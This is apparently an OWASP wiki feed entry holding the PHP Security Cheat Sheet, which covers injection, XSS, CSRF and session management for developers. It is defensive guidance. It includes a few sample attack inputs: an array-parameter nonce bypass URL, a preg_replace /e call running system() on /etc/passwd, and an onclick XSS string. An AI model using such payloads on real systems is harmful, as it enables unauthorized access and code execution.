&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Marcus Niemietz: &amp;quot;UI Redressing: Attacks and Countermeasures Revisited&amp;quot; - http://ui-redressing.mniemietz.de/uiRedressing.pdf&lt;br /&gt;
* &amp;quot;Clickjacking&amp;quot; - https://en.wikipedia.org/wiki/Clickjacking&lt;br /&gt;
* Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: &amp;quot;Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites&amp;quot; - http://seclab.stanford.edu/websec/framebusting/framebust.pdf&lt;br /&gt;
* Paul Stone: &amp;quot;Next generation clickjacking&amp;quot; - https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf&lt;/div&gt;</summary>
		<author><name>Roy Vanegas</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=187495</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=187495"/>
				<updated>2015-01-03T21:59:07Z</updated>
		
		<summary type="html">&lt;p&gt;Roy Vanegas: /* Untrusted data */  Wrapped every super global mention under the “Untrused data” section in &amp;lt;code&amp;gt; tags.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
PHP is a 'grown' language rather than deliberately engineered, making writing insecure PHP applications far too easy and common. If you want to use PHP securely, then you should be aware of all it's pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
If these native database APIs are used, error checking should be added at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate.&lt;br /&gt;
This is why accessing a database should always be done by using [http://php.net/manual/en/intro.pdo.php PHP Data Objects (PDO)] specified with the [http://php.net/manual/en/pdo.error-handling.php ERRMODE_WARNING or ERRMODE_EXCEPTION flags] unless there is a clearly compelling reason to use native drivers and careful error checking.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems. Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experienced PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are &amp;lt;code&amp;gt;$_SERVER&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_GET&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_POST&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_REQUEST&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;$_FILES&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$_COOKIE&amp;lt;/code&amp;gt;. Not all data in &amp;lt;code&amp;gt;$_SERVER&amp;lt;/code&amp;gt; can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with &amp;lt;code&amp;gt;HTTP_&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
